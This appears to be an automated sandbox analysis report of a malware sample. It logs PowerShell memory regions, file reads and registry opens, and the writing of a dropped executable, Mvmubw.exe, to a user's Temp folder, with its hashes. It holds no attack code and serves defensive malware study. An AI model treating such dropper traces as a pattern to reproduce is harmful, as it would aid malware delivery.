private_0x0000000000180000 0x00180000 0x0027ffff Private Memory Readable, Writable True True False
private_0x0000000000280000 0x00280000 0x0037ffff Private Memory Readable, Writable True True False
pagefile_0x0000000000380000 0x00380000 0x00507fff Pagefile Backed Memory Readable True False False
pagefile_0x0000000000510000 0x00510000 0x00690fff Pagefile Backed Memory Readable True False False
pagefile_0x00000000006a0000 0x006a0000 0x01a9ffff Pagefile Backed Memory Readable True False False
private_0x0000000001aa0000 0x01aa0000 0x01aa0fff Private Memory Readable, Writable True True False
private_0x0000000001ab0000 0x01ab0000 0x01ab0fff Private Memory Readable, Writable True True False
private_0x0000000001ac0000 0x01ac0000 0x01bbffff Private Memory Readable, Writable True True False
pagefile_0x0000000001bc0000 0x01bc0000 0x01bc0fff Pagefile Backed Memory Readable True False False
pagefile_0x0000000001bd0000 0x01bd0000 0x01bd0fff Pagefile Backed Memory Readable True False False
pagefile_0x0000000001be0000 0x01be0000 0x01be1fff Pagefile Backed Memory Readable True False False
pagefile_0x0000000001bf0000 0x01bf0000 0x01bf0fff Pagefile Backed Memory Readable, Writable True False False
pagefile_0x0000000001c00000 0x01c00000 0x01c01fff Pagefile Backed Memory Readable True False False
private_0x0000000001c10000 0x01c10000 0x01c8ffff Private Memory Readable, Writable, Executable True True False
cversions.2.db 0x01c90000 0x01c93fff Memory Mapped File Readable True False False
private_0x0000000001ca0000 0x01ca0000 0x01caffff Private Memory Readable, Writable True True False
pagefile_0x0000000001cb0000 0x01cb0000 0x01d8efff Pagefile Backed Memory Readable True False False
{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000008.db 0x01d90000 0x01db6fff Memory Mapped File Readable True False False
pagefile_0x0000000001dc0000 0x01dc0000 0x01dc0fff Pagefile Backed Memory Readable, Writable True False False
private_0x0000000001dd0000 0x01dd0000 0x01e4ffff Private Memory Readable, Writable True True False
sortdefault.nls 0x01e50000 0x0211efff Memory Mapped File Readable False False False
cversions.2.db 0x02120000 0x02123fff Memory Mapped File Readable True False False
pagefile_0x0000000002130000 0x02130000 0x02130fff Pagefile Backed Memory Readable True False False
private_0x0000000002140000 0x02140000 0x021bffff Private Memory Readable, Writable True True False
pagefile_0x00000000021c0000 0x021c0000 0x025b2fff Pagefile Backed Memory Readable True False False
{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000c.db 0x025c0000 0x025effff Memory Mapped File Readable True False False
{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db 0x025f0000 0x02655fff Memory Mapped File Readable True False False
pagefile_0x0000000002660000 0x02660000 0x02662fff Pagefile Backed Memory Readable, Writable True False False
pagefile_0x0000000002670000 0x02670000 0x02670fff Pagefile Backed Memory Readable, Writable True False False
private_0x0000000002680000 0x02680000 0x026fffff Private Memory Readable, Writable True True False
private_0x0000000002700000 0x02700000 0x0271ffff Private Memory True True False
private_0x0000000002720000 0x02720000 0x0272ffff Private Memory Readable, Writable True True False
l_intl.nls 0x02730000 0x02732fff Memory Mapped File Readable False False False
private_0x0000000002740000 0x02740000 0x02740fff Private Memory Readable, Writable True True False
private_0x0000000002750000 0x02750000 0x0275ffff Private Memory Readable, Writable True True False
sorttbls.nlp 0x02760000 0x02764fff Memory Mapped File Readable False False False
sortkey.nlp 0x02770000 0x027b0fff Memory Mapped File Readable False False False
private_0x00000000027c0000 0x027c0000 0x0283ffff Private Memory Readable, Writable True True False
private_0x0000000002840000 0x02840000 0x0293ffff Private Memory Readable, Writable True True False
microsoft.wsman.runtime.dll 0x02940000 0x02947fff Memory Mapped File Readable, Writable, Executable False False False
pagefile_0x0000000002950000 0x02950000 0x02950fff Pagefile Backed Memory Readable True False False
pagefile_0x0000000002960000 0x02960000 0x02960fff Pagefile Backed Memory Readable True False False
pagefile_0x0000000002960000 0x02960000 0x02970fff Pagefile Backed Memory Readable, Writable True False False
pagefile_0x0000000002980000 0x02980000 0x02980fff Pagefile Backed Memory Readable True False False
private_0x00000000029a0000 0x029a0000 0x02a1ffff Private Memory Readable, Writable True True False
private_0x0000000002a20000 0x02a20000 0x02a9ffff Private Memory Readable, Writable, Executable True True False
private_0x0000000002aa0000 0x02aa0000 0x02ba0fff Private Memory Readable, Writable True True False
mscorrc.dll 0x02bb0000 0x02c03fff Memory Mapped File Readable True False False
private_0x0000000002c10000 0x02c10000 0x02c8ffff Private Memory Readable, Writable True True False
private_0x0000000002c90000 0x02c90000 0x1ac8ffff Private Memory Readable, Writable True False False
private_0x000000001ac90000 0x1ac90000 0x1b35ffff Private Memory Readable, Writable True True False
system.management.automation.dll 0x1b360000 0x1b641fff Memory Mapped File Readable, Writable, Executable False False False
kernelbase.dll.mui 0x1b650000 0x1b70ffff Memory Mapped File Readable, Writable False False False
private_0x000000001b710000 0x1b710000 0x1b80ffff Private Memory Readable, Writable True True False
system.transactions.dll 0x1e230000 0x1e278fff Memory Mapped File Readable, Writable, Executable False False False
msvcr80.dll 0x75180000 0x75248fff Memory Mapped File Readable, Writable, Executable False False False
kernel32.dll 0x77320000 0x7743efff Memory Mapped File Readable, Writable, Executable False False False
user32.dll 0x77440000 0x77539fff Memory Mapped File Readable, Writable, Executable False False False
ntdll.dll 0x77540000 0x776e8fff Memory Mapped File Readable, Writable, Executable False False False
psapi.dll 0x77710000 0x77716fff Memory Mapped File Readable, Writable, Executable False False False
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True True False
powershell.exe 0x13ff50000 0x13ffc6fff Memory Mapped File Readable, Writable, Executable False False False
culture.dll 0x642ff4a0000 0x642ff4a9fff Memory Mapped File Readable, Writable, Executable True False False
system.directoryservices.ni.dll 0x7fee3a90000 0x7fee3c24fff Memory Mapped File Readable, Writable, Executable True False False
system.management.ni.dll 0x7fee3c30000 0x7fee3d9bfff Memory Mapped File Readable, Writable, Executable True False False
system.xml.ni.dll 0x7fee3da0000 0x7fee4444fff Memory Mapped File Readable, Writable, Executable True False False
system.management.automation.ni.dll 0x7fee4450000 0x7fee4facfff Memory Mapped File Readable, Writable, Executable True False False
system.ni.dll 0x7fee4fb0000 0x7fee59d2fff Memory Mapped File Readable, Writable, Executable True False False
microsoft.powershell.security.ni.dll 0x7fee5b00000 0x7fee5b3dfff Memory Mapped File Readable, Writable, Executable True False False
microsoft.powershell.commands.management.ni.dll 0x7fee5b40000 0x7fee5c57fff Memory Mapped File Readable, Writable, Executable True False False
microsoft.powershell.commands.utility.ni.dll 0x7fee5c60000 0x7fee5e75fff Memory Mapped File Readable, Writable, Executable True False False
system.transactions.ni.dll 0x7fee5e80000 0x7fee5f64fff Memory Mapped File Readable, Writable, Executable True False False
microsoft.wsman.management.ni.dll 0x7fee5f70000 0x7fee6019fff Memory Mapped File Readable, Writable, Executable True False False
system.core.ni.dll 0x7fee6020000 0x7fee634dfff Memory Mapped File Readable, Writable, Executable True False False
microsoft.powershell.consolehost.ni.dll 0x7fee6350000 0x7fee6401fff Memory Mapped File Readable, Writable, Executable True False False
mscorlib.ni.dll 0x7fee6930000 0x7fee780bfff Memory Mapped File Readable, Writable, Executable True False False
mscorwks.dll 0x7fee7810000 0x7fee81acfff Memory Mapped File Readable, Writable, Executable True False False
system.configuration.install.ni.dll 0x7fee9400000 0x7fee9431fff Memory Mapped File Readable, Writable, Executable True False False
microsoft.powershell.commands.diagnostics.ni.dll 0x7fee9440000 0x7fee94a8fff Memory Mapped File Readable, Writable, Executable True False False
mscoreei.dll 0x7fef3d20000 0x7fef3db8fff Memory Mapped File Readable, Writable, Executable True False False
mscoree.dll 0x7fef42a0000 0x7fef430efff Memory Mapped File Readable, Writable, Executable True False False
linkinfo.dll 0x7fef72a0000 0x7fef72abfff Memory Mapped File Readable, Writable, Executable False False False
shdocvw.dll 0x7fef72b0000 0x7fef72e3fff Memory Mapped File Readable, Writable, Executable False False False
ntshrui.dll 0x7fef8ac0000 0x7fef8b3ffff Memory Mapped File Readable, Writable, Executable False False False
cscapi.dll 0x7fef8b40000 0x7fef8b4efff Memory Mapped File Readable, Writable, Executable False False False
apphelp.dll 0x7fef9f00000 0x7fef9f56fff Memory Mapped File Readable, Writable, Executable False False False
uxtheme.dll 0x7fefb2a0000 0x7fefb2f5fff Memory Mapped File Readable, Writable, Executable False False False
slc.dll 0x7fefb8c0000 0x7fefb8cafff Memory Mapped File Readable, Writable, Executable False False False
atl.dll 0x7fefb8f0000 0x7fefb908fff Memory Mapped File Readable, Writable, Executable False False False
ntmarta.dll 0x7fefbde0000 0x7fefbe0cfff Memory Mapped File Readable, Writable, Executable False False False
propsys.dll 0x7fefbe40000 0x7fefbf6bfff Memory Mapped File Readable, Writable, Executable False False False
comctl32.dll 0x7fefbfc0000 0x7fefc1b3fff Memory Mapped File Readable, Writable, Executable False False False
version.dll 0x7fefc650000 0x7fefc65bfff Memory Mapped File Readable, Writable, Executable False False False
userenv.dll 0x7fefc840000 0x7fefc85dfff Memory Mapped File Readable, Writable, Executable False False False
rsaenh.dll 0x7fefca60000 0x7fefcaa6fff Memory Mapped File Readable, Writable, Executable False False False
cryptsp.dll 0x7fefceb0000 0x7fefcec6fff Memory Mapped File Readable, Writable, Executable False False False
srvcli.dll 0x7fefd280000 0x7fefd2a2fff Memory Mapped File Readable, Writable, Executable False False False
cryptbase.dll 0x7fefd380000 0x7fefd38efff Memory Mapped File Readable, Writable, Executable False False False
profapi.dll 0x7fefd490000 0x7fefd49efff Memory Mapped File Readable, Writable, Executable False False False
cfgmgr32.dll 0x7fefd620000 0x7fefd655fff Memory Mapped File Readable, Writable, Executable False False False
devobj.dll 0x7fefd660000 0x7fefd679fff Memory Mapped File Readable, Writable, Executable False False False
kernelbase.dll 0x7fefd680000 0x7fefd6eafff Memory Mapped File Readable, Writable, Executable False False False
rpcrt4.dll 0x7fefd860000 0x7fefd98cfff Memory Mapped File Readable, Writable, Executable False False False
clbcatq.dll 0x7fefd990000 0x7fefda28fff Memory Mapped File Readable, Writable, Executable False False False
imm32.dll 0x7fefda30000 0x7fefda5dfff Memory Mapped File Readable, Writable, Executable False False False
advapi32.dll 0x7fefdb00000 0x7fefdbdafff Memory Mapped File Readable, Writable, Executable False False False
gdi32.dll 0x7fefdd60000 0x7fefddc6fff Memory Mapped File Readable, Writable, Executable False False False
msctf.dll 0x7fefddd0000 0x7fefded8fff Memory Mapped File Readable, Writable, Executable False False False
usp10.dll 0x7fefdee0000 0x7fefdfa8fff Memory Mapped File Readable, Writable, Executable False False False
shell32.dll 0x7fefdfb0000 0x7fefed37fff Memory Mapped File Readable, Writable, Executable False False False
msvcrt.dll 0x7fefed40000 0x7fefeddefff Memory Mapped File Readable, Writable, Executable False False False
ole32.dll 0x7fefede0000 0x7fefefe2fff Memory Mapped File Readable, Writable, Executable False False False
wldap32.dll 0x7fefeff0000 0x7feff041fff Memory Mapped File Readable, Writable, Executable False False False
setupapi.dll 0x7feff0d0000 0x7feff2a6fff Memory Mapped File Readable, Writable, Executable False False False
shlwapi.dll 0x7feff2b0000 0x7feff320fff Memory Mapped File Readable, Writable, Executable False False False
lpk.dll 0x7feff330000 0x7feff33dfff Memory Mapped File Readable, Writable, Executable False False False
sechost.dll 0x7feff5b0000 0x7feff5cefff Memory Mapped File Readable, Writable, Executable False False False
oleaut32.dll 0x7feff5d0000 0x7feff6a6fff Memory Mapped File Readable, Writable, Executable False False False
apisetschema.dll 0x7feff860000 0x7feff860fff Memory Mapped File Readable, Writable, Executable False False False
private_0x000007ff00030000 0x7ff00030000 0x7ff0003ffff Private Memory True True False
private_0x000007ff00040000 0x7ff00040000 0x7ff0004ffff Private Memory True True False
private_0x000007ff00050000 0x7ff00050000 0x7ff000effff Private Memory True True False
private_0x000007ff000f0000 0x7ff000f0000 0x7ff000fffff Private Memory True True False
private_0x000007ff00100000 0x7ff00100000 0x7ff0016ffff Private Memory True True False
private_0x000007ff00170000 0x7ff00170000 0x7ff0017ffff Private Memory True True False
private_0x000007ff00180000 0x7ff00180000 0x7ff0018ffff Private Memory True True False
private_0x000007fffff00000 0x7fffff00000 0x7fffff0ffff Private Memory Readable, Writable, Executable True True False
private_0x000007fffff10000 0x7fffff10000 0x7fffff9ffff Private Memory Readable, Writable, Executable True True False
private_0x000007fffffae000 0x7fffffae000 0x7fffffaffff Private Memory Readable, Writable True True False
pagefile_0x000007fffffb0000 0x7fffffb0000 0x7fffffd2fff Pagefile Backed Memory Readable True False False
private_0x000007fffffd4000 0x7fffffd4000 0x7fffffd5fff Private Memory Readable, Writable True True False
private_0x000007fffffd6000 0x7fffffd6000 0x7fffffd7fff Private Memory Readable, Writable True True False
private_0x000007fffffd8000 0x7fffffd8000 0x7fffffd9fff Private Memory Readable, Writable True True False
private_0x000007fffffda000 0x7fffffda000 0x7fffffdafff Private Memory Readable, Writable True True False
private_0x000007fffffdc000 0x7fffffdc000 0x7fffffddfff Private Memory Readable, Writable True True False
private_0x000007fffffde000 0x7fffffde000 0x7fffffdffff Private Memory Readable, Writable True True False
For performance reasons, the remaining 73 entries are omitted.
The remaining entries can be found in flog.txt.
Created Files
+
Filename File Size Hash Values YARA Match Actions
c:\users\adu0vk iwa5kls\appdata\local\temp\mvmubw.exe 472.00 KB (483328 bytes) MD5: 0ebfd6e45dea48c7f54b5574d69da458
SHA1: 11ad0fae8318bc72e1525c161c5df72a9da9430b
SHA256: 3ba1b55c3268529b586e154b9117d25ae6c3667a2e869747c51bd88fd2a7a581
False
Host Behavior
File (340)
+
Operation Filename Additional Information Success Count Logfile
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create CONOUT$ desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\machine.config desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\aDU0VK IWA5kLS\AppData\Local\Temp\Mvmubw.exe desired_access = GENERIC_WRITE, file_attributes = FILE_FLAG_OPEN_NO_RECALL, share_mode = FILE_SHARE_READ True 1
Fn
Get Info C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\powershell.config type = file_attributes False 3
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0 type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml type = file_attributes True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml type = file_type True 2
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml type = file_type True 2
Fn
Get Info C:\Users\aDU0VK IWA5kLS type = file_attributes True 5
Fn
Get Info C:\ type = file_attributes True 6
Fn
Get Info C:\Users\aDU0VK IWA5kLS\Desktop type = file_attributes True 9
Fn
Get Info C:\Users type = file_attributes True 4
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1 type = file_attributes False 1
Fn
Get Info C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1 type = file_attributes False 1
Fn
Get Info C:\Users\aDU0VK IWA5kLS\Documents\WindowsPowerShell\profile.ps1 type = file_attributes False 1
Fn
Get Info C:\Users\aDU0VK IWA5kLS\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1 type = file_attributes False 1
Fn
Get Info C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\machine.config type = file_attributes True 2
Fn
Get Info C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\machine.config type = file_type True 2
Fn
Get Info C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\machine.config type = size, size_out = 0 True 1
Fn
Get Info C:\Users\aDU0VK IWA5kLS\AppData\Local\Temp\Mvmubw.exe type = file_type True 2
Fn
Get Info C:\Users\aDU0VK IWA5kLS\AppData\Local\Temp\Mvmubw.exe type = file_attributes True 3
Fn
Open STD_INPUT_HANDLE True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml size = 4096, size_out = 4096 True 3
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml size = 4096, size_out = 3315 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml size = 781, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml size = 4096, size_out = 4096 True 41
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml size = 4096, size_out = 436 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml size = 4096, size_out = 4096 True 6
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml size = 4096, size_out = 2530 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml size = 542, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml size = 4096, size_out = 4096 True 5
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml size = 4096, size_out = 4018 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml size = 78, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml size = 4096, size_out = 4096 True 6
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml size = 4096, size_out = 2762 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml size = 310, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml size = 4096, size_out = 4096 True 17
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml size = 4096, size_out = 3022 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml size = 50, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml size = 4096, size_out = 4096 True 6
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml size = 4096, size_out = 281 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml size = 4096, size_out = 4096 True 62
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml size = 4096, size_out = 3895 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml size = 201, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml size = 4096, size_out = 4096 True 21
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml size = 4096, size_out = 3687 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml size = 409, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml size = 4096, size_out = 4096 True 4
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml size = 4096, size_out = 2228 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml size = 844, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml size = 4096, size_out = 4096 True 4
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml size = 4096, size_out = 3736 True 1
Fn
Data
Read C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml size = 360, size_out = 0 True 1
Fn
Read C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml size = 4096, size_out = 0 True 1
Fn
Read C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\machine.config size = 4096, size_out = 4096 True 6
Fn
Data
Read C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\machine.config size = 4096, size_out = 1459 True 1
Fn
Data
Read C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Config\machine.config size = 4096, size_out = 0 True 1
Fn
Write C:\Users\aDU0VK IWA5kLS\AppData\Local\Temp\Mvmubw.exe size = 4096 True 7
Fn
Data
Write C:\Users\aDU0VK IWA5kLS\AppData\Local\Temp\Mvmubw.exe size = 65198 True 1
Fn
Data
Write C:\Users\aDU0VK IWA5kLS\AppData\Local\Temp\Mvmubw.exe size = 8776 True 1
Fn
Data
Write C:\Users\aDU0VK IWA5kLS\AppData\Local\Temp\Mvmubw.exe size = 56628 True 1
Fn
Data
Write C:\Users\aDU0VK IWA5kLS\AppData\Local\Temp\Mvmubw.exe size = 4356 True 3
Fn
Data
Write C:\Users\aDU0VK IWA5kLS\AppData\Local\Temp\Mvmubw.exe size = 62892 True 1
Fn
Data
Write C:\Users\aDU0VK IWA5kLS\AppData\Local\Temp\Mvmubw.exe size = 8516 True 1
Fn
Data
Write C:\Users\aDU0VK IWA5kLS\AppData\Local\Temp\Mvmubw.exe size = 52792 True 1
Fn
Data
Write C:\Users\aDU0VK IWA5kLS\AppData\Local\Temp\Mvmubw.exe size = 63888 True 1
Fn
Data
Write C:\Users\aDU0VK IWA5kLS\AppData\Local\Temp\Mvmubw.exe size = 29040 True 1
Fn
Data
Write C:\Users\aDU0VK IWA5kLS\AppData\Local\Temp\Mvmubw.exe size = 58600 True 1
Fn
Data
Write C:\Users\aDU0VK IWA5kLS\AppData\Local\Temp\Mvmubw.exe size = 5808 True 1
Fn
Data
Write C:\Users\aDU0VK IWA5kLS\AppData\Local\Temp\Mvmubw.exe size = 29450 True 1
Fn
Data
Registry (211)
+
Operation Key Additional Information Success Count Logfile
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1 True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 1
Fn
Open Key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment True 1
Fn
Open Key HKEY_CURRENT_USER\Environment True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 2
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell True 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine True 9
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN True 1
Fn
